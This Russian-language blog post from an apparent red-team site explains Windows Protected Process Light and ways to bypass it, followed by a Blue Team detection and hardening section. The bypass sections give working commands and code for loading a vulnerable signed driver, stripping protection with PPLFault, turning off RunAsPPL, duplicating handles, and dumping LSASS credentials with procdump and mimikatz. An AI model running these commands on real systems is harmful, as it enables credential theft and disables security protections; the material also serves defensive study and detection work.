Skip to content

GlobThe.Top

  • Fileless Malware: .NET Assembly Loading из памяти Evasion
  • CVE-2026-20811: Асинхронные окна Windows пошли не так — эксплуатация Type Confusion в Win32k Vulnerability Research
  • Обход AMSI и ETW в 2026 — патчинг в памяти, unhooking, custom CLR hosting Evasion
  • Продвинутый обход EDR: техники 2025 года Обход EDR
  • CVE-2025-14325: Ломаем JIT — эксплуатация Type Confusion в SpiderMonkey Browser Exploitation
  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций Reverse Engineering
  • Повышение привилегий в Windows: техники 2026 года Privesc
  • CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов CVE

Protected Process Light (PPL) в 2026 — как Windows защищает критические процессы и как это обходят

Posted on 3 апреля, 2026 By AkaTor
Download PDF

Категория: Red Team / Windows Internals
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026


Введение

Protected Process Light (PPL) — механизм защиты критических процессов Windows на уровне ядра. PPL запрещает доступ к защищённому процессу даже от имени SYSTEM с SeDebugPrivilege. Это означает: нельзя открыть handle, нельзя прочитать память, нельзя инжектить код, нельзя завершить процесс.

LSASS, Defender (MsMpEng.exe), csrss.exe, smss.exe — все защищены PPL. Для Red Team это главный барьер при дампе LSASS и отключении антивируса. Для Blue Team — основная линия обороны учётных данных.

Предупреждение: Материал для авторизованного пентестинга и исследования безопасности.


Содержание

1. Архитектура PP/PPL
2. Уровни защиты и Signer types
3. Что блокирует PPL
4. Какие процессы защищены
5. Как включить PPL для LSASS (RunAsPPL)
6. Разведка: определение PPL-статуса процессов
7. Обход: BYOVD (уязвимый подписанный драйвер)
8. Обход: PPLFault / GodFault
9. Обход: Handle Duplication
10. Обход: Отключение через реестр
11. Обход: ELAM Driver Abuse
12. Защита: VBS, HVCI, Credential Guard
13. Сравнительная таблица
14. Blue Team — обнаружение


1. Архитектура PP/PPL

Windows различает два уровня защиты процессов:

Protected Process (PP)     — полная защита, тип = 2
Protected Process Light (PPL) — облегчённая защита, тип = 1
No Protection              — обычный процесс, тип = 0

Защита хранится в поле EPROCESS.Protection (структура PS_PROTECTION) в ядре:

typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;  // 0=None, 1=PPL, 2=PP
            UCHAR Audit  : 1;  // Audit flag
            UCHAR Signer : 4;  // Уровень доверия подписи
        };
    };
} PS_PROTECTION;

При каждом вызове OpenProcess, ядро проверяет: если целевой процесс защищён, а вызывающий — нет (или имеет более низкий уровень), запрос отклоняется с STATUS_ACCESS_DENIED, независимо от привилегий вызывающего.


2. Уровни защиты и Signer Types

Signer определяет «кто подписал» исполняемый файл и задаёт уровень доверия:

Signer Значение Описание Примеры процессов
WinTcb 6 Высший уровень — ядро Windows System, smss.exe, csrss.exe
Windows 5 Компоненты Windows services.exe, svchost.exe
Lsa 4 LSA Protection lsass.exe (с RunAsPPL)
Antimalware 3 Антивирусный/EDR MsMpEng.exe (Defender)
CodeGen 2 Code generation .NET NGEN
Authenticode 1 Стандартная подпись DRM процессы
None 0 Без защиты Все обычные процессы

Правило доступа: процесс может открыть другой процесс только если его Signer level >= целевого. WinTcb (6) может открыть всё. Antimalware (3) может открыть только Authenticode (1) и None (0).


3. Что блокирует PPL

PPL защищает от следующих операций со стороны менее привилегированного процесса:

OpenProcess(PROCESS_VM_READ)          — чтение памяти         → BLOCKED
OpenProcess(PROCESS_VM_WRITE)         — запись памяти          → BLOCKED
OpenProcess(PROCESS_VM_OPERATION)     — VirtualAllocEx и т.д.  → BLOCKED
OpenProcess(PROCESS_TERMINATE)        — завершение процесса    → BLOCKED
OpenProcess(PROCESS_CREATE_THREAD)    — создание потока         → BLOCKED
OpenProcess(PROCESS_DUP_HANDLE)       — дублирование handle    → BLOCKED
OpenProcess(PROCESS_SET_INFORMATION)  — изменение параметров   → BLOCKED
NtCreateThread в чужом процессе       — инъекция               → BLOCKED
MiniDumpWriteDump                     — дамп памяти            → BLOCKED (нет handle)

Разрешено:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)  — базовая информация → OK
OpenProcess(PROCESS_SYNCHRONIZE)                — ожидание          → OK

4. Какие процессы защищены

Стандартно в Windows 11 26200:

PP (Full Protected):
  System (PID 4)             — WinTcb
  smss.exe                   — WinTcb
  csrss.exe                  — WinTcb

PPL (Protected Light):
  wininit.exe                — Windows
  services.exe               — Windows
  lsass.exe                  — Lsa (если RunAsPPL включён)
  MsMpEng.exe                — Antimalware (Defender)
  NisSrv.exe                 — Antimalware (Defender Network Inspection)
  SgrmBroker.exe             — Antimalware
  SecurityHealthService.exe  — Windows

Проверка через NtQueryInformationProcess:

// Проверка PPL статуса через NtQueryInformationProcess
PS_PROTECTION protection = {0};
NtQueryInformationProcess(hProcess,
    ProcessProtectionInformation,  // = 61
    &protection, sizeof(protection), NULL);

if (protection.Type == 1) printf("PPL");
if (protection.Type == 2) printf("PP");
printf(" Signer: %d", protection.Signer);

5. Как включить PPL для LSASS (RunAsPPL)

По умолчанию LSASS может не быть защищён PPL. Включение:

# Включить RunAsPPL через реестр
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Требуется перезагрузка
# После перезагрузки lsass.exe будет PPL с Signer=Lsa(4)

Проверка:

# Проверить текущий статус
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

# Или через PowerShell
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL

С включённым RunAsPPL — Mimikatz sekurlsa::logonpasswords перестаёт работать, так как не может открыть handle к lsass.exe.


6. Разведка: определение PPL-статуса

Полный сканер PPL-статуса всех процессов:

HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };

Process32First(snap, &pe);
do {
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
    if (!hProc) continue;

    PS_PROTECTION prot = {0};
    NtQueryInformationProcess(hProc, 61, &prot, sizeof(prot), NULL);

    if (prot.Level != 0) {
        printf("PID %-6d %-25s Type=%d Signer=%d\n",
            pe.th32ProcessID, pe.szExeFile, prot.Type, prot.Signer);
    }
    CloseHandle(hProc);
} while (Process32Next(snap, &pe));

Вывод:

PID 4      System                    Type=2 Signer=6 [PP/WinTcb]
PID 456    smss.exe                  Type=2 Signer=6 [PP/WinTcb]
PID 612    csrss.exe                 Type=2 Signer=6 [PP/WinTcb]
PID 768    lsass.exe                 Type=1 Signer=4 [PPL/Lsa]
PID 3240   MsMpEng.exe              Type=1 Signer=3 [PPL/Antimalware]

7. Обход: BYOVD (Bring Your Own Vulnerable Driver)

Загружаем подписанный но уязвимый драйвер. Через его уязвимость (arbitrary kernel read/write) обнуляем поле EPROCESS.Protection целевого процесса.

Популярные уязвимые драйверы для BYOVD:
  gdrv.sys        — GIGABYTE (arbitrary read/write)
  RTCore64.sys    — MSI Afterburner (arbitrary read/write)
  dbutil_2_3.sys  — Dell (arbitrary read/write)
  AsIO3.sys       — ASUS (arbitrary read/write)
  ene.sys         — ENE Technology (arbitrary read/write)

Алгоритм:

// 1. Загружаем уязвимый драйвер
sc create VulnDrv binpath= "C:\path\RTCore64.sys" type= kernel
sc start VulnDrv

// 2. Находим EPROCESS целевого процесса (lsass.exe)
//    Через NtQuerySystemInformation(SystemHandleInformation) или PsLookupProcessByProcessId

// 3. Вычисляем смещение EPROCESS.Protection
//    Windows 11 26100: offset = 0x87A (зависит от билда)

// 4. Через IOCTL уязвимого драйвера — обнуляем Protection
//    kernel_write(eprocess_addr + protection_offset, 0x00, 1);

// 5. Теперь lsass.exe — обычный процесс. OpenProcess работает.
//    Mimikatz sekurlsa::logonpasswords — успех.

Инструменты:

PPLKiller  — использует RTCore64.sys для обнуления EPROCESS.Protection
PPLdump   — дампит PPL процесс через уязвимый драйвер
PPLFault  — обходит PPL без загрузки собственного драйвера (через NTFS)

8. Обход: PPLFault / GodFault

Техника без загрузки драйвера. Эксплуатирует механизм обработки page faults в NTFS для получения kernel write primitive.

Принцип:
1. Создаём memory-mapped файл на NTFS
2. Файл маппится в адресное пространство ядра
3. При page fault ядро вызывает NTFS для чтения данных
4. Мы подменяем содержимое файла между page fault и чтением
5. Ядро записывает наши данные в kernel memory → arbitrary write
6. Обнуляем EPROCESS.Protection целевого процесса

Преимущества:
- Не требует загрузки драйвера
- Не требует отключения DSE
- Работает с включённым HVCI (в некоторых конфигурациях)
- Не оставляет следов загрузки kernel модуля

Использование PPLFault:

# Снятие PPL с lsass.exe
PPLFault.exe -pid <lsass_pid>

# После снятия — дамп через procdump или comsvcs.dll
procdump.exe -ma lsass.exe lsass.dmp

# Или через Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

GodFault — расширение PPLFault, предоставляет полный kernel read/write:

# GodFault — получение произвольного kernel R/W
GodFault.exe
# Затем PPLKiller использует GodFault для снятия PPL

9. Обход: Handle Duplication

Если какой-то привилегированный процесс уже имеет open handle к PPL-защищённому процессу — можно дублировать этот handle к себе.

// 1. Перечисляем все handle в системе
// NtQuerySystemInformation(SystemHandleInformation)

// 2. Ищем handle который указывает на целевой PID
//    и имеет PROCESS_VM_READ или PROCESS_ALL_ACCESS

// 3. Открываем процесс-владелец handle
HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, ownerPid);

// 4. Дублируем handle к себе
HANDLE hDuplicated;
DuplicateHandle(hOwner, remoteHandle,
    GetCurrentProcess(), &hDuplicated,
    PROCESS_VM_READ, FALSE, 0);

// 5. Теперь hDuplicated — handle к PPL процессу с правами чтения
// MiniDumpWriteDump(hDuplicated, ...)

Ограничение: работает только если существует процесс с open handle и нужными правами. На практике — антивирус или отладчик могут иметь такие handle.


10. Обход: Отключение через реестр

Для LSASS — простейший способ (требует admin + перезагрузку):

# Отключить RunAsPPL
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 0 /f

# Перезагрузка
shutdown /r /t 0

# После перезагрузки lsass.exe — обычный процесс

Для Defender — нельзя отключить через реестр. PPL для MsMpEng.exe встроен в бинарь и не зависит от registry settings.

Обнаружение: Высокий — Event 4657 (registry value changed), Sysmon Event 13.


11. Обход: ELAM Driver Abuse

Early Launch Antimalware (ELAM) драйвер загружается до всех остальных драйверов при старте Windows. Процесс, запущенный с ELAM-сертификатом, получает PPL Antimalware (Signer=3).

Теория атаки:
1. Получить ELAM-сертификат (от Microsoft WHQL или украсть у AV вендора)
2. Подписать свой драйвер ELAM-сертификатом
3. Зарегистрировать как ELAM driver
4. При следующей загрузке — драйвер получает PPL Antimalware
5. Из PPL Antimalware — можно открыть процессы с Signer <= 3

Практика:
- ELAM сертификаты строго контролируются Microsoft
- Сворованный сертификат отзывается через Windows Update
- Но до отзыва — работает

12. Защита: VBS, HVCI, Credential Guard

Многоуровневая защита от обхода PPL:

VBS (Virtualization-Based Security):
  Hypervisor изолирует критические данные в Secure World
  Даже kernel-mode код в Normal World не может получить доступ
  EPROCESS.Protection проверяется hypervisor'ом

HVCI (Hypervisor-Protected Code Integrity):
  Запрещает загрузку неподписанных драйверов
  Блокирует BYOVD — уязвимый драйвер не загрузится если отозван
  Запрещает модификацию kernel code pages

Credential Guard:
  LSASS credentials хранятся в изолированном LSAIso.exe
  Даже если дампнуть lsass.exe — credentials не в его памяти
  LSAIso.exe работает в Secure World под VBS

Windows 11 24H2+:
  RunAsPPL включён по умолчанию
  Credential Guard включён по умолчанию на Enterprise
  HVCI включён по умолчанию на новых устройствах

13. Сравнительная таблица обходов

Метод Требования Обходит VBS/HVCI Обнаружение Персистентность
BYOVD Admin + подписанный драйвер Нет (HVCI блокирует отозванные) Средний До перезагрузки
PPLFault/GodFault Admin Частично Низкий До перезагрузки
Handle Duplication Зависит от наличия handle Да Низкий Пока handle жив
Registry (RunAsPPL=0) Admin + reboot Нет (Credential Guard) Высокий Persistent
ELAM Abuse ELAM сертификат Нет Средний Persistent
Kernel Debugger Boot with KD Зависит Высокий До отключения

14. Blue Team — обнаружение

Индикаторы обхода PPL

1.  Event 3004 (Windows CodeIntegrity) — загрузка неподписанного драйвера
2.  Event 3033 — Code Integrity определил неподписанный код в ядре
3.  Sysmon Event 6 (DriverLoaded) — загрузка нового драйвера
4.  Sysmon Event 10 (ProcessAccess) — доступ к lsass.exe / MsMpEng.exe
5.  Event 4657 — изменение RunAsPPL в реестре
6.  Sysmon Event 13 — запись в HKLM\SYSTEM\CurrentControlSet\Control\Lsa
7.  Event 4688 — запуск PPLKiller.exe, PPLFault.exe, GodFault.exe
8.  Event 7045 — установка нового сервиса (для загрузки уязвимого драйвера)
9.  Наличие известных уязвимых драйверов (RTCore64.sys, gdrv.sys и т.д.)
10. Мониторинг lsass.exe protection level — если PPL внезапно снялся

Защита

1.  Включить RunAsPPL для LSASS
2.  Включить Credential Guard (VBS)
3.  Включить HVCI — блокирует загрузку уязвимых/отозванных драйверов
4.  Microsoft Vulnerable Driver Blocklist — автоматически обновляется
5.  WDAC (Windows Defender Application Control) — белый список драйверов
6.  Мониторинг загрузки драйверов через Sysmon Event 6
7.  Мониторинг доступа к lsass.exe через Sysmon Event 10
8.  Запрет sc create / sc start для пользователей
9.  Audit реестра LSA ключей
10. Обновление Windows — новые билды отзывают уязвимые драйверы

Заключение

PPL в 2026 году — серьёзный барьер, особенно в сочетании с VBS/HVCI/Credential Guard. Классический BYOVD блокируется HVCI через blocklist уязвимых драйверов. PPLFault/GodFault работает без загрузки драйвера, но требует admin и оставляет следы обращения к lsass.

Для Red Team: проверяйте включён ли HVCI (msinfo32 → Virtualization-based security). Если нет — BYOVD работает. Если да — PPLFault или Handle Duplication.

Для Blue Team: включите RunAsPPL + Credential Guard + HVCI. Эта тройка закрывает все userland обходы PPL. Мониторьте Sysmon Event 6 (загрузка драйверов) и Event 10 (доступ к lsass.exe) для обнаружения попыток обхода.

Uncategorized, Windows Internals

Навигация по записям

Previous Post: Обход AMSI и ETW в 2026 — патчинг в памяти, unhooking, custom CLR hosting
Next Post: Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Related Posts

  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo Vulnerability Research
  • От RCU Double Free до Root: Эксплуатация гонки ядра Linux в cornelslop Linux Kernel Exploitation
  • Как EDR видит угрозы — и где он слепнет Обход EDR
  • CVE-2025-14325: Ломаем JIT — эксплуатация Type Confusion в SpiderMonkey Browser Exploitation
  • Обход Code Integrity: Использование BYOVD для получения примитивов чтения/записи ядра Windows Kernel
  • Продвинутый обход EDR: техники 2025 года Обход EDR
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM Privesc
  • CVE-2026-21509: APT28 — от фишинга до SYSTEM за 48 часов CVE

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme